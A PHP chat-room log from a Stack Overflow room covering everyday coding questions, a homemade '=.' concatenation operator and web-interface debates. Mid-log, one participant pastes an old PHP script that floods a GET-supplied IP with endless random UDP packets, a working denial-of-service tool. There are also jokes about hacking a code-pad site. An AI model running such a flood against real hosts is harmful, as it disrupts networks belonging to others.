« first day (661 days earlier)      last day (4278 days later) » 

9:00 AM
Damn. :)
flock that file. flock it good.
 
@deceze i means that code it wrong or no t
 
@Yogesh I don't know. Is it? Does it run? Then it's not wrong. It may or may not do what you want though, but I cannot comment on that with the information you provided.
 
@deceze Well a flock is released when a function terminates. So I guess it must be end of scope.
 
So it's likely the GC that does it.
 
Aye
I really don't understand diffs sometimes, I changed a gitignore...

-config.php
+config.php
+*.log
No, the line endings did not change.
 
> You have already voted to close this question
 
Just try again, until it's closed. :P
 
@deceze do you ever use the return functionality for includes? i.e. $obj = require 'file.php'; and file.php has return new Something; in the body.
 
@Leigh Rarely, but occasionally for config files. I.e. environment-specific configs which I don't necessarily want to abstract into XML or JSON or .ini or something else.
Just a simple return array('foo' => 'bar', ...)
 
9:14 AM
I was thinking of doing it with the bootstrap for a particular project.
 
Dunno if someone here has an opinion on that (probably more an @ircmaxell question), but would you consider a message passing system based on, for example, ZeroMQ a good architecture for an n-tier system and why not. :)
Or should it be based on traditional server-client API-calling?
 
@Whisperity @Leigh is this also ? Check user profile of OP.
 
@Whisperity They don't have to be from I to use IAP ;), but yes it is the typical pattern.
 
@Leigh Waste of database...
 
@Whisperity Remember what I said yesterday, outsourcing agencies will take any work even if they don't have the developers skilled in the right area. This is typical. "I have been assigned a project, I can't do it, GIVE ME TEH CODEZ"
 
9:29 AM
 
I feel like posting a comment of a possibly offensive nature... "Look over the questions on SO from people who look like they might be from an oversees outsourcing agency - would you trust them with your project?"
 
Hey guys. When fetching database records from mysql. Is there a way to sort it by position on database? Or is it necessary to order by one of the columns?
 
@John position on database?
 
@John What do you mean by "by position on database"?
 
row 1 row 2 row 3 row 4 etc...
 
9:37 AM
ordered by what?
insert order?
 
yes
the order like you see for example in phpmyadmin
 
No, you need to order by something.
 
okay
thats what i wanted to know :)
thanks :))
 
Use an auto-incrementing key, that will be your insertion order.
 
oh of course, stupid me
i already have that, a unique auto increment ID
 
9:39 AM
@Leigh Not necessarily. There's no guarantee that they're continuous into eternity.
 
an*
 
Use a timestamp field if you need actual time based order.
 
@deceze 64bit id's will last long enough for most people :p
 
@deceze okay, will do the timestamp
 
@Leigh Still, autoincrement does not make any guarantees on the order, so don't rely on it.
 
9:44 AM
@deceze Reliance on the order it was inserted (like how phpMyAdmin shows it) is also a bit dodgy.
RFC 2183 describes the Content-Disposition: header and that it is able to contain a filename directive. Browsers parse this part of the header and they fetch various metadata from it. Check the answer I linked as related in my answer, it describes a method how might one retrieve this header using PHP (and cURL). — Whisperity 1 min ago
 
0
Q: [php]how to extract a single simple text from a long html source

H.Choii have a html like this: ......whatever very long html..... <span class="title">hello world!</span> ......whatever very long html...... it is a very long html and i only want the content 'hello world!' from this html i got this html by $result = file_get_contents($url , false, $...

 
Is it safe to link RFCs to Day0 users?
 
I open main page and this is what I get...
good morning :)
 
@Whisperity Everyone should be able to read. Reading is a good start for a day 0 user.
4
 
Morning.
@Whisperity 's what I'm saying! :D
 
9:47 AM
perhaps some of you chaps know how to check if function(?) exists inside JS literal object...
 
Most basic: if (obj.function)
If obj.function could conceivably be of some other types, you'll need to check its type in more detail.
Otherwise, more context please.
 
yo soy un idiota
// Notifications namespace
if(action[0] == 'notifications')
{
    if(notifications[action[1]] != 'undefined')
    {
        notifications[action[1]](response.data);
    }
    return;
}
or not :\
 
yeah, forgot to say it needs to be "dynamic"
 
if (typeof x != 'undefined')
 
9:52 AM
    if(typeof notifications[action[1]] != 'undefined')
    {
        notifications[action[1]](response.data);
    }
muchas gracias decezito
 
No problemo, webbearrto. The real Javascript pros are thattaway though. --->
 
jQuery masters, gurus and ninjas?
3 hours ago, by deceze
As the all-time top answerer for Cake I can say that Cake's models fsck donkey arms. Big time. :)
had a jolly good laugh
 
There's no =. operator. wut..
I could have sworn there was
 
@Leigh There is! O_o?
 
No..

leigh$ php -a
Interactive shell

php > $m = 'hi';
php > $m =. 'hi';
PHP Parse error: parse error in php shell code on line 1
 
10:03 AM
Ah, oops. It's .= of course.
 
@deceze Yea but I want to prepend, not append :P
 
LOL. Uhm, yeah, then: no. :P
 
@Leigh $m = 'hi' . $m;? There is no =. operator.
 
jQuery.prepend()
 
^ LOL
 
10:04 AM
@Whisperity yet... off to php-src I go :P
 
Oh boy @webarto here we go... :D
 
crappy PHP doesn't even have prepend pffff
 
Must... not... write... phpQuery::append function...
 
(dat feeling when you don't have cold milk and you need to wait for coffee to cool down, and you look at it while it's cooling)
$x = '1';
$y = true;
$z = false;
$z = $x ?: $y;
var_dump($z); # string(1) "1"
Y U NO STRICT?
 
10:07 AM
woot!
 
@webarto Y U NO... what did you expect there?
Sounds like E_PEBKAC to me... :)
 
@deceze :)
 
@Whisperity Wow, tough life. :(
 
at least you can Inspect Element...
 
10:16 AM
:O
 
If i want to save it in a specific folder, what should i add? — MJQ 2 mins ago
 
Liquid column (spacing). How would you achieve this in plain css?
Wait, let me ask on SO first...will link question here..
 
Any suggestions what could be wrong here? IT keeps throwing syntax error. mysql_query(UPDATE bbank SET created=NOW()+ INTERVAL $i MINUTES WHERE bankID='$i' );
 
reputation overflow
 
People: is the second example clear / correct you think? gist.github.com/3207318
 
10:24 AM
@PeeHaa What are you working on?
 
@Whisperity new tutorial for php.net, because the current one sucks: my proposal (WIP)
 
@PeeHaa Maybe a bit long for demonstration purposes and actually demonstrates bad practice, namely how you construct the database connection inside the function...
 
@PeeHaa Lovely :)
 
@deceze I am planning to add one more example with the same html form only with the functions / responsibilities split
@deceze I am a bit worried about the length though
 
19 hours ago, by deceze
@JordanRichards Get used to reading. As a programmer, you need to do lots and lots of it. You can't program using videos.
 
10:28 AM
I wonder if noobs are still able to follow (keep in mind that they already had read previous topics)
 
Maybe a note that this is not necessarily the best way to do this would be good.
 
@PeeHaa Indeed... And keep in mind that we still have and many people are like It's very nice for a beginner... and I'm like the heck?...
 
Other than that, seems okay.
Maybe you can separate the HTML form from the PHP code in the example. Like:
"...and here's the form code: ..."
Would make it easier to follow.
You may also want to check whether all those values you're trying to valid actually areset, uhm, are isset.
 
@deceze Wouldn't that considered an edge case since I already check whether the form is submitted and there are only textfields in the form?
 
The longer I think about it... form validation has so many pitfalls that it may not be the best topic for demonstrating the basics of functions. :)
 
10:33 AM
@deceze What do you suggest?
 
@PeeHaa I'd define a function as a "block of code designed to achieve a specific task given some input and possibly return a result"
 
'cause you just know peole will copy and paste it. :)
 
Again I'm open to suggestions :)
 
For example, sending an email? That's typically a lot of tedious code with few variables that's you'll want to abstract into a function.
Or build on the age thing? A typical timeAgo function or so.
 
@Whisperity w3schools is nice.. its like being sent to kindergarten when your really meant to be sent to an old age home.. And the way they say stuff makes you feel.. damn coding is so so simple.. until ofcourse you try doing something..
 
10:36 AM
You want to demonstrate (optional) function parameters and return values. If you get into too much detail about other stuff that needs explaining because of the complex topic (form validation), that just distracts.
 
@deceze Sounds legit
 
Maybe demonstrate the difference between an echo in a function and a return and why you usually want the latter.
 
Ok, I give up trying to add my own operators...

leigh$ sapi/cli/php -r "$m = 'test';"

Parse error: syntax error, unexpected '=' in Command line code on line 1
I borked the parser
 
0
Q: CSS Liquid column width

ChristianI'm working on a widget requiring this layout: Let's imagine each item shown above is the same widget but with different overall width. The dark green parts are the widget items, arranged in columns of a specific width. My problem is achieving liquid spacing, ie, the light green area, betwee...

^ the layout in question.
 
have you tried jQuery?
 
10:41 AM
@webarto omg, how did I forget! :D lolz
 
What would we do without the great terrible advice of @webarto? X-D
 
it's okay, no need to thank me, just doing what I do best
 
@webarto I can't get it working: jQuery('.columns').makeItWork();
 
ROFL phpcodepad.com <-- Super secure now. Try it! :D
@Christian You're looking for doWhatIMean(). makeItWork() was deprecated.
 
Permission denied
 
10:46 AM
@deceze Hmpf. It was working two hours ago.
 
you must be using jquery-latest.js :P
 
@webarto He ain't gonna be haxor'd again.
 
lemme fire up mah laseah
$ip = $_GET["ip"]; // Fetch IP via GET

$socket = socket_create(AF_INET,SOCK_DGRAM,SOL_UDP); // Create sockets
if(!$socket){die("Unable to create sockets.");} // Unable to create sockets

$data = "";
for($i = 0;$i < 1500; $i++){$data.= chr(rand(0,255));} // Generate random data with 1500 bytes length (limit)

while(true) //Infinite loop
{
    if(!socket_sendto($socket,$data,strlen($data),0,$ip,9)){die("Unable to send sockets.");}
    echo("."); // We must echo something
}
lol at meh "style" 3 years ago
 
But at least it's easy to understand. // meaning the code is easily comprehensible
I think we should all clarify what we mean here. // Just saying that clarification is always good
Just so there are no misunderstandings. // If we don't clarify, there could be misunderstandings.
 
return false; // return true
I say FU Windows, FU .. but I still like you, I don't wanna let you go (and I bought you actually)
 
10:55 AM
^ has problems
 
RTS Threshold: 2346 (range: 256~2346, default:2346)
Windows: 2347
 
Sem
What do you guys think about the windows 8 metro style dashboard? So many haters but I think i'll love it.
 
0
A: Replace text within brackets with thus-named variable in PHP

WhisperityThe code below will do the work: $string = "This is a very [adjective] [noun], and this is a [adjective] [noun]." function replace_word ( $matches ) { $replaces = array( '[adjective]' => array("big", "small", "good", "bad"), '[noun]' => array("house", "dog", "car")...

@hakre Needs more Super::$tatic.
 
wlan0     IEEE 802.11bg  ESSID:"w3b4rt0"
          Mode:Managed  Frequency:2.462 GHz  Access Point: 28:10:7B:64:CA:28
          Bit Rate=24 Mb/s   Tx-Power=27 dBm
          Retry  long limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Management:off
          Link Quality=70/70  Signal level=-16 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0
@Sem I have no problem with it, as long as I don't pay for it :P I'm going to switch meh computerz to Win8 as soon as it gets out...
 
Sem
@webarto Seems to be the "most tested" OS. So it maybe stable at release :)
 
11:02 AM
maybe in Windows family :)
 
@Sem I generally applaud the rethinking, but just at the half-assedness with which they implemented it in their hybrid Desktop-Metro bastard.
 
@webarto There is already a pirate release available, at least on some sites I've read that it got leaked.
 
Typical MS legacy cruft...
 
@Whisperity RTM I guess?
 
Sem
@deceze Don't you like the HTML5 part? We might be able to make some local PHP apps later on. Would be awesome.
 
11:05 AM
@webarto Apparently not. theverge.com/2012/8/2/3216103/…
 
@Sem I kind of at the HTMLization of everything as well. It's not exactly a great development model, it just works extremely well on the web.
 
@Whisperity joy! :) too bad it's going to be packed with viruses heh...
 
any tips on naming constant variables ?
and global variables?
 
Sem
@deceze In the end everything will be on the web. So isn't this step completely logical?
 
11:07 AM
I agree with @deceze ... @Sem I'm against that... (personally)
 
Sem
@webarto What about the chromebook then?
 
bad idea ... more usability, less security...
 
Native code still anything else everything in user experience. The HTML/web model is great for quickly doing something small or presenting information regardless of location. But for anything halfway complex, it's simply too least-common-denominatorish.
 
Sem
@webarto So it would be better to say bad idea at the moment. I'm sure the average security level will rise in 5 years.
@deceze It's simply the view we're talking about. What does that have to do with the complexity of the background / backend?
 
@Sem That's exactly what I mean, the interface. HTML is a super-high-level abstraction for interfaces. It works great for text-based stuff and for transmitting over the wire. It does not work great for building complex interfaces, highly custom interfaces or not-very-text based interfaces.
 
Sem
11:18 AM
@deceze Could you name a situation where you're facing such a complex interface?
 
@Sem web is still years behind desktop programming... don't look at the web like jQuery...
 
Sem
@webarto Except for different levels of access I can't see any limitations while transforming/parsing information with jQuery. But that's just me being a newbie :)
 
@Sem draw a blinking blue pixel at x:50 y:145 - very simple for most direct drawing interfaces; requires two or three different languages and concepts in HTML.
 
and what you need for chat application?
something that you can make quite easily in VB6 in few hours...
 
HTML <-- great for quick high-level description of interfaces to be transferred ad-hoc over the wire; terrible for making precise interfaces
 
11:26 AM
yes, and people swear in HTML5... because they don't know anything else, and are making fools out of themselves...
 
Sem
I'm only used to 2/3tier architectures.. problems with browser compatibility.. and apparently doing more work than needed :P Except for when I was using AS 2.0 but let's not talk about that.
 
anyone knows where I can get in live chat some professional in Cacti system?
 
@Sem please take a look at facebook.com/careers/… Code primarily in PHP, with a MySQL datastore, Implement web interfaces using XHTML, CSS, and Javascript... and you can even consider PHP to be frontend in some cases...
(this Facebook is finally getting some design)
 
i see, cacti sucks and im screwed cuz I need to make some freakin graph...great
 
Sem
11:37 AM
@webarto "One reason you should not use web applications to do your computing is that you lose control" bleh, still not convinced :(
 
hopefully you won't feel it on your skin...
 
Ya but the initial value as to entered by the user so i cannt disabled arguement. So suggest me that some code that can lock the text box after the user enter the some data for the 1st time and he should not be able to change that. — user1581777 6 mins ago
 
Sem
@Whisperity That's a userNumberNameGuy for ya.
 
11:55 AM
can you please update my original with your suggestions. — user1581777 34 secs ago
 
which is the best way to create a dynamic multiplayer web based game? flash? jquery? i want to use php, is it possible?
 
@Daniels Depends on you game requirements
@DanielsPitkevičs can you describe your game ?
 
@Sem I will check it out, when my work network will be a bit more free - now its so fullfilled
 
jQuery definitely
 
12:05 PM
@meWantToLearn Simple card game with huge database - and because of database I want to use PHP scripts. I know that with ActionScript I can communicate with PHP, but I haven't worked with AS so it would be quite hard.
 
you can't communicate with PHP
 
@webarto @NikiC can; and @Jon Skeet
 
@PeeHaa it does ask, and possible answer...
 
@webarto Really AS3 cant communicate with PHP?
 
12:08 PM
no
 
if its a card game , then go with jquery
 
@deceze them do :P
 
flash takes time to load
 
definitely Card game ,
I meant definitely jquery
 
12:09 PM
Ok, thank You.
Now I will check some good multiplayer communication tutorials for jquery :)
 
do you know ajax?
 
But how about unity?
 
unity is for games not very heavy games
 
@DanielsPitkevičs sends HTTP request? that is how PHP "communicate" with everything... you tried to say XML, and JSON...
 
@meWantToLearn I know basic ajax
 
12:10 PM
create a demo
simple card game
player 1 moves
 
@webarto Ok, but still - it is communication ;)
 
player 2 comes to know player 1 moves
 
@DanielsPitkevičs yes, but everything can communicate with PHP in that way...
 
Hmm, that's why I love php ^^
Ok, I probably went in other direction with that answer
@meWantToLearn Ok i'll try
 
not just PHP, everything, all you need is JSON (JavaScript Object Notation is a lightweight data-interchange format) ...
cuttherope.ie javascript
@deceze cuttherope.ie/dev this one was in a basement for a long time :D but I bet he has loads of cash now heh...
 
12:21 PM
php-src$ sapi/cli/php -r '$m = "hi";$m =. "ho";var_dump($m);'

string(4) "hohi"
[Tue Aug 7 12:20:34 2012] Script: '-'
/home/leigh/php-test/Zend/zend_execute.c(863) : Freeing 0x7F4B8CC58978 (3 bytes), script=-
/home/leigh/php-test/Zend/zend_variables.c(121) : Actual location (location was relayed)
=== Total 1 memory leaks detected ===
I made a new operator, but also I made memory leak :(
 
nice :)
 
Sem
@webarto In which other languages have you made an application?
 
I haven't made anything really... ever... John Draper told me that also, he was making something all his life and end up with nothing :) (except the whistle heh)
 
Sem
... do you have experience with any other programming language? :)
 
12:38 PM
And memleak gone :D
what a waste of 2 hours
@deceze He's added a referrer check, obviously accessing it from another domain. - phpcodepad.com/phpcode.php
 
Sem
@SomeKittens Image not found :( damn pageblockers here
 
@Sem anti-hotlink, right click, copy address, paste in new tab
 
Sem
@Leigh super effective
 
12:59 PM
Hehe, who stuck a bee in Tomalak's bonnet? stackoverflow.com/q/11841930/113938
 
sup guys
 
@PeeHaa implement oauth1 gogogogo
 
@Nikic: How's the RFC for the random string coming? ;-)
 
@ircmaxell Can you actually ping people who aren't in the channel like that?
 
does any one here telecommute?
 
1:12 PM
@ircmaxell Can I also have your unbiased opinion please. I was just mucking about with php-src today for self-education, and I implemented a =. operator to compliment .=

Do you think it's work sending a pull request for it to be merged in?
 
Morning all
 
no, but if you're serious, open an RFC...
 
@Leigh Ooh, I like that.
 
I guess I could fire a mail to internals and see if anyone else thinks it's worth it
 
@Leigh I wouldn't bother.
 
1:17 PM
@salathe Why not?
 
@Leigh Because it's a completely random, tiny little change that I've never heard anyone mention they would want. And, because you haven't implemented all of the other short-hand assignments in a similar manner.
 
@salathe Which other ones really make sense?
 
@Leigh heh, none; including =.
 
@salathe by that logic .= doesn't even make sense.
 
@Leigh sure it does, it's part of a whole suite of short-hand assignments
wanting to add =. without mirroring all of the others is silly
and yes, that does mean adding =+, =-, =& (!), etc.
 
1:24 PM
=& will assign a reference
 
= &
 
@Leigh absolutely.
 
@webarto does the same thing
@salathe The only place I can see =+ making a difference to += is when you do it to arrays.
 
@Leigh but it would 100% still need to be added
 
@Leigh is it more logical that .= should be prepend and =. append and not opposite?
 
1:27 PM
@webarto read the components left to right, concat it, assign it
 
@Lusitanian Will start implementing it tonight. I've also added SoundCloud service. Will also push that tonight
 
what would $foo=+$bar do?
 
@Leigh which is rather confusing $foo = $bar . $foo is more readable to humans...
 
@salathe $foo = $bar + $foo;
 
@salathe well obviously depends on the types, integers, nothing, arrays keys from bar would override those from foo and assign back to foo
 
1:28 PM
@Leigh okay, consider $bar integer.
 
I don't personally have anything against it, but you might get flamed on RFC...
 
@webarto Meh, I already got flamed here :)
 
edited
 
resen
 
@Leigh nothing compared to PHP board of directors from 4chan :P
 
1:31 PM
@Leigh You ain't seen nothing yet. :)
 
@salathe At least I'm not Lester
 
@Leigh he would never suggest something like =. !
 
@salathe You'd get "PHP Fatal error: Unsupported operand types" the same as you do now if you try and += an array onto an integer
@salathe No he'd complain it broke his 5.2 scripts because he found a special hack using = and .
 
@Leigh that's sort of my point
I use =+ already!
 
1:34 PM
Well, at least I am trying to write improvements.
And actually the last thing I suggested nobody responded to at all. :/
except hakre
 
@Leigh There seems to be an influx of new people wanting to make tiny, in my eyes useless, "improvements" to PHP. I'd rather folks focused on a) fixing broken stuff, or b) making PHP awesome with new features. Floating around little inconsequential changes doesn't float my boat.
 
holy shit, why is my script making 1,700,000 calls to "datetime::diff"
@PeeHaa nice!
 
@salathe Did you try and implement anything new in PHP?
 
@Leigh Nope, and I don't intend to.
 
1:37 PM
I'll leave now, see you all later.
 
@salathe It's a pretty unfriendly piece of code, and starting small is probably a good idea. But now I have some more experience under my belt, no matter how useless you deem it it to be, I know how to extend the language syntax. One step closer to making something bigger.
 
later @Whisperity
 
@Leigh As a learning experience, sure it's awesome to be hacking around with tiny features. As something to add to PHP, not so much.
And just to clarify, I've done lots of trying and implementing stuff in PHP... just not for public consumption!
 
effing financial calculations...do you guys know how much faster comparing timestamps would be than DateTime::diff
because i actually do need to make over a million calls to it
 
@Lusitanian 1.36574 times.
 
1:41 PM
@Leigh: I just eas reading your answer to the default configuration of the tidy ob handler. As you've looked into the sources already a bit, do you think it's worth we can configure this at runtime with an array?
 
@Lusitanian that always depends, but probably faster if no sirius calculations...
 
hmm, well i'm going to try
 
@hakre How would you give it the array? ob_start() only takes the callback
 
@PeeHaa probably database
 
@Leigh something in memory that tidy ob handler knows where to look?
 
1:42 PM
@Lusitanian are you using opcode caching?
 
and that could be set earlier with some second function?
 
@hakre Like tidy_set_config($options) and ob_handler picks it up?
 
@webarto of course :)
 
;)
 
@Leigh yes, exactly. A bit oldskool but could work.
 
1:43 PM
@hakre It's totally possible
 
re-profiling after killing that call and doing it manually
 
@Leigh cool.
 
@hakre How is your C? :)
 
@Leigh Inexistant.
 
@hakre similar to mine then :P
 
1:46 PM
@Leigh Yours is really great compared to mine :)
 
Is lowlightFolder() the correct antonym of highlightFolder()? ;3
 
@deceze uhhh, not really :)
 
No that is highdarkFolder() ;)
 
Whatever, I'm naming it that way now. ;)
 
maskFolder?
 
1:47 PM
@webarto changing to calculating with timestamps dropped 14 seconds
 
unhighlightFolder() maybe
if highlight is a verb
 
seems legit, have you lost some functionality? @Lusitanian
 
no...but i still need to manually optimize the algo
it's a financial calculation on 50 years of data
 
@webarto: If you can spare a momemnt can you git checkout github.com/hakre/hashcat-gui and see if you can execute it with your vb?
 
notUnDeHighlightFolder, plain and simple
 
1:49 PM
I'm not sure if anything is missing in there.
 
@ImreL huh?
 
why the hell am i calculating this in php anyway, i should just write a C program and call that from php
 
morning all
 
@hakre allow me just to install it :)
@Lusitanian was going to say, but not sure if there are going to be some major improvements?
 
by my estimation, it'll be over 9000 times faster
 
1:54 PM
@Lusitanian How long is that in absolute time?
 
Actually not sure yet, once I do it I'll find out.
for now i'm just going to cache date differences in wincache
it'll make it somewhat faster
 
@deceze come on stackoverflow.com/questions/11827451/… I give + 46552 % faster solution and I get 2 downvotes...
oy stop the upvotes :P
 
@webarto :D
 
now someone ruined my round number OCD
+10 / -2 40 secs ago 2 events merge two arrays, merge-sort style
 
1:58 PM
it's good now, thanks :D
 
I'm not getting any response or errors from this
$PORT = 80; //the port on which we are connecting to the "remote" machine
$HOST = 'localhost'; //the ip of the remote machine (in this case it's the same machine)
$sock = socket_create(AF_INET, SOCK_STREAM, 0) //Creating a TCP socket
or die("error: could not create socket\n");

$succ = socket_connect($sock, $HOST, $PORT) //Connecting to to server using that socket
or die("error: could not connect to host\n");

$text = "Hello, Java!"; //the text we want to send to the server

socket_write($sock, $text."\n", strlen($text) + 1) //Writing the text to the socket
Using xammp
 
stream_set_blocking @Lusitanian :P
 

« first day (661 days earlier)      last day (4278 days later) »